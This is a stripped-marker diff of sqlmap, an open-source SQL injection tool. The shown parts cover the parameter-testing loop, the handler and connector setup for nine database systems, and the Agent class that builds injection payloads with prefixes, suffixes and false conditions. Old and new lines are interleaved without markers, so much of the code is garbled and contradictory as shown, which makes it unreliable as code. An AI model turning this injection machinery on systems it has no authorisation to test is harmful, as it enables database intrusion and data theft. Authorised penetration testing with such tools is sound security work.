conf.parameters["Cookie"] = cookieStr
|
||||
__paramDict = paramToDict("Cookie", cookieStr)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["Cookie"] = __paramDict
|
||||
__testableParameters = True
|
||||
|
||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||
if not conf.string and not conf.regexp and not conf.eRegexp:
|
||||
# NOTE: this is not needed anymore, leaving only to display
|
||||
# a warning message to the user in case the page is not stable
|
||||
checkStability()
|
||||
|
||||
for place in conf.parameters.keys():
|
||||
if not conf.paramDict.has_key(place):
|
||||
continue
|
||||
|
||||
paramDict = conf.paramDict[place]
|
||||
|
||||
for parameter, value in paramDict.items():
|
||||
testSqlInj = False
|
||||
if PLACE.GET in conf.parameters:
|
||||
for parameter in re.findall(r"([^=]+)=[^&]+&?", conf.parameters[PLACE.GET]):
|
||||
paramKey = (conf.hostname, conf.path, PLACE.GET, parameter)
|
||||
if paramKey not in kb.testedParams:
|
||||
testSqlInj = True
|
||||
break
|
||||
else:
|
||||
paramKey = (conf.hostname, conf.path, None, None)
|
||||
if paramKey not in kb.testedParams:
|
||||
testSqlInj = True
|
||||
|
||||
# Avoid dinamicity test if the user provided the
|
||||
# parameter manually
|
||||
if parameter in conf.testParameter:
|
||||
pass
|
||||
testSqlInj &= (conf.hostname, conf.path, None, None) not in kb.testedParams
|
||||
|
||||
elif not checkDynParam(place, parameter, value):
|
||||
warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter)
|
||||
logger.warn(warnMsg)
|
||||
testSqlInj = False
|
||||
|
||||
else:
|
||||
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
if testSqlInj:
|
||||
for parenthesis in range(0, 4):
|
||||
logMsg = "testing sql injection on %s " % place
|
||||
logMsg += "parameter '%s' with " % parameter
|
||||
logMsg += "%d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
injType = checkSqlInjection(place, parameter, value, parenthesis)
|
||||
|
||||
if injType:
|
||||
injData.append((place, parameter, injType))
|
||||
|
||||
break
|
||||
else:
|
||||
infoMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
infoMsg += "injectable with %d parenthesis" % parenthesis
|
||||
logger.info(infoMsg)
|
||||
|
||||
if not injData:
|
||||
warnMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
warnMsg += "injectable"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||
if len(injData) == 1:
|
||||
injDataSelected = injData[0]
|
||||
|
||||
elif len(injData) > 1:
|
||||
injDataSelected = __selectInjection(injData)
|
||||
|
||||
elif conf.multipleTargets:
|
||||
if not testSqlInj:
|
||||
infoMsg = "skipping '%s'" % targetUrl
|
||||
logger.info(infoMsg)
|
||||
continue
|
||||
|
||||
else:
|
||||
return
|
||||
|
||||
if injDataSelected == "Quit":
|
||||
return
|
||||
|
||||
else:
|
||||
kb.injPlace, kb.injParameter, kb.injType = injDataSelected
|
||||
setInjection()
|
||||
|
||||
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
|
||||
raise sqlmapNotVulnerableException, "all parameters are not injectable"
|
||||
elif kb.injPlace and kb.injParameter and kb.injType:
|
||||
if conf.multipleTargets:
|
||||
message = "do you want to exploit this SQL injection? [Y/n] "
|
||||
exploit = readInput(message, default="Y")
|
||||
hostCount += 1
|
||||
if conf.forms:
|
||||
message = "[#%d] form:\n%s %s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl)
|
||||
else:
|
||||
message = "url %d:\n%s %s%s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "")
|
||||
|
||||
condition = not exploit or exploit[0] in ("y", "Y")
|
||||
if conf.cookie:
|
||||
message += "\nCookie: %s" % conf.cookie
|
||||
|
||||
if conf.data:
|
||||
message += "\nPOST data: %s" % urlencode(conf.data) if conf.data else ""
|
||||
|
||||
if conf.forms:
|
||||
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
|
||||
continue
|
||||
|
||||
message += "\ndo you want to test this form? [Y/n/q] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
if conf.method == HTTPMETHOD.POST:
|
||||
message = "Edit POST data [default: %s]%s: " % (urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
|
||||
conf.data = readInput(message, default=conf.data)
|
||||
if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data):
|
||||
message = "do you want to fill blank fields with random values? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
while extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data):
|
||||
item = extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data)
|
||||
if item[-1] == '&':
|
||||
conf.data = conf.data.replace(item, "%s%s&" % (item[:-1], randomStr()))
|
||||
else:
|
||||
conf.data = conf.data.replace(item, "%s%s" % (item, randomStr()))
|
||||
conf.data = urldecode(conf.data)
|
||||
|
||||
elif conf.method == HTTPMETHOD.GET:
|
||||
if conf.url.find("?") > -1:
|
||||
firstPart = conf.url[:conf.url.find("?")]
|
||||
secondPart = conf.url[conf.url.find("?")+1:]
|
||||
message = "Edit GET data [default: %s]: " % secondPart
|
||||
test = readInput(message, default=secondPart)
|
||||
conf.url = "%s?%s" % (firstPart, test)
|
||||
|
||||
elif test[0] in ("n", "N"):
|
||||
continue
|
||||
elif test[0] in ("q", "Q"):
|
||||
break
|
||||
|
||||
elif conf.realTest:
|
||||
logger.info(message)
|
||||
else:
|
||||
message += "\ndo you want to test this url? [Y/n/q]"
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
pass
|
||||
elif test[0] in ("n", "N"):
|
||||
continue
|
||||
elif test[0] in ("q", "Q"):
|
||||
break
|
||||
|
||||
logMsg = "testing url %s" % targetUrl
|
||||
logger.info(logMsg)
|
||||
|
||||
setupTargetEnv()
|
||||
|
||||
if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
|
||||
continue
|
||||
|
||||
if conf.nullConnection:
|
||||
checkNullConnection()
|
||||
|
||||
if not conf.dropSetCookie and conf.cj:
|
||||
for _, cookie in enumerate(conf.cj):
|
||||
cookie = getUnicode(cookie)
|
||||
index = cookie.index(" for ")
|
||||
|
||||
cookieStr += "%s;" % cookie[8:index]
|
||||
|
||||
if cookieStr:
|
||||
cookieStr = cookieStr[:-1]
|
||||
|
||||
if PLACE.COOKIE in conf.parameters:
|
||||
message = "you provided an HTTP Cookie header value. "
|
||||
message += "The target url provided its own Cookie within "
|
||||
message += "the HTTP Set-Cookie header. Do you want to "
|
||||
message += "continue using the HTTP Cookie values that "
|
||||
message += "you provided? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
setCookieAsInjectable = False
|
||||
|
||||
if setCookieAsInjectable:
|
||||
conf.httpHeaders.append(("Cookie", cookieStr))
|
||||
conf.parameters[PLACE.COOKIE] = cookieStr
|
||||
__paramDict = paramToDict(PLACE.COOKIE, cookieStr)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict[PLACE.COOKIE] = __paramDict
|
||||
# TODO: consider the following line in __setRequestParams()
|
||||
# __testableParameters = True
|
||||
|
||||
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
|
||||
and (kb.injection.place is None or kb.injection.parameter is None):
|
||||
if not conf.string and not conf.regexp:
|
||||
# NOTE: this is not needed anymore, leaving only to display
|
||||
# a warning message to the user in case the page is not stable
|
||||
checkStability()
|
||||
|
||||
# Do a little prioritization reorder of a testable parameter list
|
||||
parameters = conf.parameters.keys()
|
||||
|
||||
# Order of testing list (last to first)
|
||||
orderList = (PLACE.URI, PLACE.GET, PLACE.POST)
|
||||
|
||||
for place in orderList:
|
||||
if place in parameters:
|
||||
parameters.remove(place)
|
||||
parameters.insert(0, place)
|
||||
|
||||
proceed = True
|
||||
|
||||
for place in parameters:
|
||||
# Test User-Agent and Referer headers only if
|
||||
# --level >= 3
|
||||
skip = (place == PLACE.UA and conf.level < 3)
|
||||
skip |= (place == PLACE.REFERER and conf.level < 3)
|
||||
|
||||
# Test Cookie header only if --level >= 2
|
||||
skip |= (place == PLACE.COOKIE and conf.level < 2)
|
||||
|
||||
skip &= not (place == PLACE.UA and intersect(USER_AGENT_ALIASES, conf.testParameter))
|
||||
skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter))
|
||||
|
||||
if skip:
|
||||
continue
|
||||
|
||||
if not conf.paramDict.has_key(place):
|
||||
continue
|
||||
|
||||
paramDict = conf.paramDict[place]
|
||||
for parameter, value in paramDict.items():
|
||||
if not proceed:
|
||||
break
|
||||
|
||||
testSqlInj = True
|
||||
|
||||
paramKey = (conf.hostname, conf.path, place, parameter)
|
||||
|
||||
if paramKey in kb.testedParams:
|
||||
testSqlInj = False
|
||||
|
||||
infoMsg = "skipping previously processed %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Avoid dinamicity test if the user provided the
|
||||
# parameter manually
|
||||
elif parameter in conf.testParameter or conf.realTest:
|
||||
pass
|
||||
|
||||
elif not checkDynParam(place, parameter, value):
|
||||
warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
else:
|
||||
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
kb.testedParams.add(paramKey)
|
||||
|
||||
if testSqlInj:
|
||||
check = heuristicCheckSqlInjection(place, parameter)
|
||||
if not check and conf.realTest and\
|
||||
not simpletonCheckSqlInjection(place, parameter, value):
|
||||
continue
|
||||
|
||||
logMsg = "testing sql injection on %s " % place
|
||||
logMsg += "parameter '%s'" % parameter
|
||||
logger.info(logMsg)
|
||||
|
||||
injection = checkSqlInjection(place, parameter, value)
|
||||
proceed = not kb.endDetection
|
||||
|
||||
if injection is not None and injection.place is not None:
|
||||
kb.injections.append(injection)
|
||||
|
||||
# In case when user wants to end detection phase (Ctrl+C)
|
||||
if not proceed:
|
||||
break
|
||||
|
||||
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
|
||||
msg += "is vulnerable. Do you want to keep testing the others? [y/N] "
|
||||
test = readInput(msg, default="N")
|
||||
|
||||
if test[0] in ("n", "N"):
|
||||
proceed = False
|
||||
paramKey = (conf.hostname, conf.path, None, None)
|
||||
kb.testedParams.add(paramKey)
|
||||
else:
|
||||
warnMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
warnMsg += "injectable"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
|
||||
if not conf.realTest:
|
||||
errMsg = "all parameters are not injectable, try to "
|
||||
errMsg += "increase --level/--risk values to perform "
|
||||
errMsg += "more tests."
|
||||
|
||||
if isinstance(conf.tech, list) and len(conf.tech) > 0:
|
||||
errMsg += " Rerun without providing the --technique switch."
|
||||
|
||||
if not conf.textOnly and kb.originalPage:
|
||||
percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage))
|
||||
errMsg += " Give it a go with the --text-only switch "
|
||||
errMsg += "if the target page has a low percentage of "
|
||||
errMsg += "textual content (~%.2f%% of " % percent
|
||||
errMsg += "page content is text)"
|
||||
|
||||
raise sqlmapNotVulnerableException, errMsg
|
||||
else:
|
||||
errMsg = "it seems that all parameters are not injectable"
|
||||
raise sqlmapNotVulnerableException, errMsg
|
||||
else:
|
||||
condition = True
|
||||
# Flush the flag
|
||||
kb.testMode = False
|
||||
|
||||
if condition:
|
||||
checkForParenthesis()
|
||||
action()
|
||||
__saveToSessionFile()
|
||||
__showInjections()
|
||||
__selectInjection()
|
||||
|
||||
if conf.loggedToOut:
|
||||
if kb.injection.place is not None and kb.injection.parameter is not None:
|
||||
if kb.testQueryCount == 0 and conf.realTest:
|
||||
condition = False
|
||||
elif conf.multipleTargets:
|
||||
message = "do you want to exploit this SQL injection? [Y/n] "
|
||||
exploit = readInput(message, default="Y")
|
||||
|
||||
condition = not exploit or exploit[0] in ("y", "Y")
|
||||
else:
|
||||
condition = True
|
||||
|
||||
if condition:
|
||||
action()
|
||||
|
||||
except KeyboardInterrupt:
|
||||
if conf.multipleTargets:
|
||||
warnMsg = "user aborted in multiple target mode"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
message = "do you want to skip to the next target in list? [Y/n/q]"
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
pass
|
||||
elif test[0] in ("n", "N"):
|
||||
return False
|
||||
elif test[0] in ("q", "Q"):
|
||||
raise sqlmapUserQuitException
|
||||
else:
|
||||
raise
|
||||
|
||||
except sqlmapUserQuitException:
|
||||
raise
|
||||
|
||||
except sqlmapSilentQuitException:
|
||||
raise
|
||||
|
||||
except exceptionsTuple, e:
|
||||
e = getUnicode(e)
|
||||
|
||||
if conf.multipleTargets:
|
||||
e += ", skipping to the next %s" % ("form" if conf.forms else "url")
|
||||
logger.error(e)
|
||||
else:
|
||||
logger.critical(e)
|
||||
return False
|
||||
|
||||
finally:
|
||||
showHttpErrorCodes()
|
||||
|
||||
if conf.loggedToOut and not conf.multipleTargets:
|
||||
logger.info("Fetched data logged to text files under '%s'" % conf.outputPath)
|
||||
|
||||
return True
|
||||
|
||||
+66
-31
@@ -3,37 +3,45 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import popValue
|
||||
from lib.core.common import pushValue
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.settings import SQLITE_ALIASES
|
||||
from lib.core.settings import ACCESS_ALIASES
|
||||
from lib.core.settings import FIREBIRD_ALIASES
|
||||
from lib.core.settings import MAXDB_ALIASES
|
||||
from lib.core.settings import SYBASE_ALIASES
|
||||
|
||||
from plugins.dbms.mssqlserver import MSSQLServerMap
|
||||
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
|
||||
from plugins.dbms.mysql import MySQLMap
|
||||
from plugins.dbms.mysql.connector import Connector as MySQLConn
|
||||
from plugins.dbms.oracle import OracleMap
|
||||
from plugins.dbms.oracle.connector import Connector as OracleConn
|
||||
from plugins.dbms.postgresql import PostgreSQLMap
|
||||
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
|
||||
from plugins.dbms.sqlite import SQLiteMap
|
||||
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
|
||||
from plugins.dbms.access import AccessMap
|
||||
from plugins.dbms.access.connector import Connector as AccessConn
|
||||
from plugins.dbms.firebird import FirebirdMap
|
||||
from plugins.dbms.firebird.connector import Connector as FirebirdConn
|
||||
from plugins.dbms.maxdb import MaxDBMap
|
||||
from plugins.dbms.maxdb.connector import Connector as MaxDBConn
|
||||
from plugins.dbms.sybase import SybaseMap
|
||||
from plugins.dbms.sybase.connector import Connector as SybaseConn
|
||||
|
||||
def setHandler():
|
||||
"""
|
||||
@@ -42,15 +50,32 @@ def setHandler():
|
||||
"""
|
||||
|
||||
count = 0
|
||||
dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server" )
|
||||
dbmsMap = (
|
||||
( MYSQL_ALIASES, MySQLMap ),
|
||||
( ORACLE_ALIASES, OracleMap ),
|
||||
( PGSQL_ALIASES, PostgreSQLMap ),
|
||||
( MSSQL_ALIASES, MSSQLServerMap ),
|
||||
)
|
||||
dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird", "SAP MaxDB", "Sybase" )
|
||||
dbmsObj = [
|
||||
( MYSQL_ALIASES, MySQLMap, MySQLConn ),
|
||||
( ORACLE_ALIASES, OracleMap, OracleConn ),
|
||||
( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ),
|
||||
( MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn ),
|
||||
( SQLITE_ALIASES, SQLiteMap, SQLiteConn ),
|
||||
( ACCESS_ALIASES, AccessMap, AccessConn ),
|
||||
( FIREBIRD_ALIASES, FirebirdMap, FirebirdConn ),
|
||||
( MAXDB_ALIASES, MaxDBMap, MaxDBConn ),
|
||||
( SYBASE_ALIASES, SybaseMap, SybaseConn ),
|
||||
]
|
||||
|
||||
for dbmsAliases, dbmsEntry in dbmsMap:
|
||||
if Backend.getIdentifiedDbms() is not None:
|
||||
for i in xrange(len(dbmsObj)):
|
||||
dbmsAliases, _, _ = dbmsObj[i]
|
||||
|
||||
if Backend.getIdentifiedDbms().lower() in dbmsAliases:
|
||||
if i > 0:
|
||||
pushValue(dbmsObj[i])
|
||||
dbmsObj.remove(dbmsObj[i])
|
||||
dbmsObj.insert(0, popValue())
|
||||
|
||||
break
|
||||
|
||||
for dbmsAliases, dbmsMap, dbmsConn in dbmsObj:
|
||||
if conf.dbms and conf.dbms not in dbmsAliases:
|
||||
debugMsg = "skipping test for %s" % dbmsNames[count]
|
||||
logger.debug(debugMsg)
|
||||
@@ -59,12 +84,22 @@ def setHandler():
|
||||
|
||||
continue
|
||||
|
||||
dbmsHandler = dbmsEntry()
|
||||
handler = dbmsMap()
|
||||
conf.dbmsConnector = dbmsConn()
|
||||
|
||||
if dbmsHandler.checkDbms():
|
||||
if not conf.dbms or conf.dbms in dbmsAliases:
|
||||
kb.dbmsDetected = True
|
||||
if conf.direct:
|
||||
logger.debug("forcing timeout to 10 seconds")
|
||||
conf.timeout = 10
|
||||
|
||||
return dbmsHandler
|
||||
conf.dbmsConnector.connect()
|
||||
|
||||
return None
|
||||
if handler.checkDbms():
|
||||
conf.dbmsHandler = handler
|
||||
|
||||
break
|
||||
else:
|
||||
conf.dbmsConnector = None
|
||||
|
||||
# At this point back-end DBMS is correctly fingerprinted, no need
|
||||
# to enforce it anymore
|
||||
Backend.flushForcedDbms()
|
||||
|
||||
+2
-17
@@ -3,23 +3,8 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
|
||||
+430
-207
@@ -3,154 +3,252 @@
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
|
||||
Copyright (c) 2006 Daniele Bellucci <[email protected]>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import re
|
||||
|
||||
from xml.etree import ElementTree as ET
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import getCompiledRegex
|
||||
from lib.core.common import isDBMSVersionAtLeast
|
||||
from lib.core.common import isTechniqueAvailable
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.core.datatype import advancedDict
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
|
||||
from lib.core.settings import FROM_TABLE
|
||||
from lib.core.settings import PAYLOAD_DELIMITER
|
||||
from lib.core.settings import URI_INJECTION_MARK_CHAR
|
||||
from lib.core.unescaper import unescaper
|
||||
|
||||
class Agent:
|
||||
"""
|
||||
This class defines the SQL agent methods.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
temp.delimiter = randomStr(6)
|
||||
temp.start = randomStr(6)
|
||||
temp.stop = randomStr(6)
|
||||
def payloadDirect(self, query):
|
||||
if query.startswith("AND "):
|
||||
query = query.replace("AND ", "SELECT ", 1)
|
||||
elif query.startswith(" UNION ALL "):
|
||||
query = query.replace(" UNION ALL ", "", 1)
|
||||
elif query.startswith("; "):
|
||||
query = query.replace("; ", "", 1)
|
||||
|
||||
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
|
||||
if kb.tamperFunctions:
|
||||
for function in kb.tamperFunctions:
|
||||
query = function(query)
|
||||
|
||||
return query
|
||||
|
||||
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
|
||||
"""
|
||||
This method replaces the affected parameter with the SQL
|
||||
injection statement to request
|
||||
"""
|
||||
|
||||
falseValue = ""
|
||||
negValue = ""
|
||||
retValue = ""
|
||||
newValue = urlencode(newValue)
|
||||
if conf.direct:
|
||||
return self.payloadDirect(newValue)
|
||||
|
||||
if negative or conf.paramNegative:
|
||||
negValue = "-"
|
||||
elif falseCond or conf.paramFalseCond:
|
||||
randInt = randomInt()
|
||||
falseValue = " AND %d=%d" % (randInt, randInt + 1)
|
||||
retValue = ""
|
||||
|
||||
# After identifing the injectable parameter
|
||||
if kb.injPlace == "User-Agent":
|
||||
retValue = kb.injParameter.replace(kb.injParameter,
|
||||
"%s%s" % (negValue, kb.injParameter + falseValue + newValue))
|
||||
elif kb.injParameter:
|
||||
paramString = conf.parameters[kb.injPlace]
|
||||
paramDict = conf.paramDict[kb.injPlace]
|
||||
value = paramDict[kb.injParameter]
|
||||
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
|
||||
"%s=%s%s" % (kb.injParameter, negValue, value + falseValue + newValue))
|
||||
if where is None and isTechniqueAvailable(kb.technique):
|
||||
where = kb.injection.data[kb.technique].where
|
||||
|
||||
# Before identifing the injectable parameter
|
||||
elif parameter == "User-Agent":
|
||||
retValue = value.replace(value, newValue)
|
||||
# Debug print
|
||||
#print "value: %s, newValue: %s, where: %s, kb.technique: %s" % (value, newValue, where, kb.technique)
|
||||
|
||||
if kb.injection.place is not None:
|
||||
place = kb.injection.place
|
||||
|
||||
if kb.injection.parameter is not None:
|
||||
parameter = kb.injection.parameter
|
||||
|
||||
paramString = conf.parameters[place]
|
||||
paramDict = conf.paramDict[place]
|
||||
origValue = paramDict[parameter]
|
||||
|
||||
if place == PLACE.URI:
|
||||
origValue = origValue.split(URI_INJECTION_MARK_CHAR)[0]
|
||||
origValue = origValue[origValue.rfind('/') + 1:]
|
||||
|
||||
if value is None:
|
||||
if where == PAYLOAD.WHERE.ORIGINAL:
|
||||
value = origValue
|
||||
elif where == PAYLOAD.WHERE.NEGATIVE:
|
||||
if newValue.startswith("-"):
|
||||
value = ""
|
||||
else:
|
||||
value = "-%s" % randomInt()
|
||||
elif where == PAYLOAD.WHERE.REPLACE:
|
||||
value = ""
|
||||
else:
|
||||
value = origValue
|
||||
|
||||
newValue = "%s%s" % (value, newValue)
|
||||
|
||||
newValue = self.cleanupPayload(newValue, origValue)
|
||||
|
||||
if "POSTxml" in conf.paramDict and place == PLACE.POST:
|
||||
root = ET.XML(paramString)
|
||||
iterator = root.getiterator(parameter)
|
||||
|
||||
for child in iterator:
|
||||
child.text = self.addPayloadDelimiters(newValue)
|
||||
|
||||
retValue = ET.tostring(root)
|
||||
elif place == PLACE.URI:
|
||||
retValue = paramString.replace("%s%s" % (origValue, URI_INJECTION_MARK_CHAR), self.addPayloadDelimiters(newValue))
|
||||
elif place in (PLACE.UA, PLACE.REFERER):
|
||||
retValue = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
|
||||
else:
|
||||
paramString = conf.parameters[place]
|
||||
retValue = paramString.replace("%s=%s" % (parameter, value),
|
||||
"%s=%s" % (parameter, newValue))
|
||||
retValue = paramString.replace("%s=%s" % (parameter, origValue),
|
||||
"%s=%s" % (parameter, self.addPayloadDelimiters(newValue)))
|
||||
|
||||
# Debug print
|
||||
#print "retValue:", retValue
|
||||
|
||||
return retValue
|
||||
|
||||
def fullPayload(self, query):
|
||||
query = self.prefixQuery(query)
|
||||
query = self.postfixQuery(query)
|
||||
if conf.direct:
|
||||
return self.payloadDirect(query)
|
||||
|
||||
query = self.prefixQuery(query)
|
||||
query = self.suffixQuery(query)
|
||||
payload = self.payload(newValue=query)
|
||||
|
||||
return payload
|
||||
|
||||
def prefixQuery(self, string):
|
||||
def prefixQuery(self, expression, prefix=None, where=None, clause=None):
|
||||
"""
|
||||
This method defines how the input string has to be escaped
|
||||
This method defines how the input expression has to be escaped
|
||||
to perform the injection depending on the injection type
|
||||
identified as valid
|
||||
"""
|
||||
|
||||
query = ""
|
||||
if conf.direct:
|
||||
return self.payloadDirect(expression)
|
||||
|
||||
if conf.prefix:
|
||||
query = conf.prefix
|
||||
expression = self.cleanupPayload(expression)
|
||||
expression = unescaper.unescape(expression)
|
||||
query = None
|
||||
|
||||
if where is None and kb.technique and kb.technique in kb.injection.data:
|
||||
where = kb.injection.data[kb.technique].where
|
||||
|
||||
# If we are replacing (<where>) the parameter original value with
|
||||
# our payload do not prepend with the prefix
|
||||
if where == PAYLOAD.WHERE.REPLACE:
|
||||
query = ""
|
||||
|
||||
# If the technique is stacked queries (<stype>) do not put a space
|
||||
# after the prefix or it is in GROUP BY / ORDER BY (<clause>)
|
||||
elif kb.technique == PAYLOAD.TECHNIQUE.STACKED:
|
||||
query = kb.injection.prefix
|
||||
elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 2 ] or kb.injection.clause == [ 3 ]:
|
||||
query = kb.injection.prefix
|
||||
elif clause == [2, 3] or clause == [ 2 ] or clause == [ 3 ]:
|
||||
query = prefix
|
||||
|
||||
# In any other case prepend with the full prefix
|
||||
else:
|
||||
if kb.injType == "numeric" or conf.postfix:
|
||||
pass
|
||||
elif kb.injType in ( "stringsingle", "likesingle" ):
|
||||
query = "'"
|
||||
elif kb.injType in ( "stringdouble", "likedouble" ):
|
||||
query = "\""
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unsupported injection type"
|
||||
query = kb.injection.prefix or prefix or ""
|
||||
|
||||
if kb.parenthesis not in ( None, 0 ):
|
||||
query += "%s " % (")" * kb.parenthesis)
|
||||
if not (expression and expression[0] == ";"):
|
||||
query += " "
|
||||
|
||||
query += string
|
||||
query = "%s%s" % (query, expression)
|
||||
|
||||
return query
|
||||
|
||||
def postfixQuery(self, string, comment=None):
|
||||
def suffixQuery(self, expression, comment=None, suffix=None, where=None):
|
||||
"""
|
||||
This method appends the DBMS comment to the
|
||||
SQL injection request
|
||||
"""
|
||||
|
||||
if conf.direct:
|
||||
return self.payloadDirect(expression)
|
||||
|
||||
expression = self.cleanupPayload(expression)
|
||||
|
||||
if comment is not None:
|
||||
expression += comment
|
||||
|
||||
if where is None and kb.technique and kb.technique in kb.injection.data:
|
||||
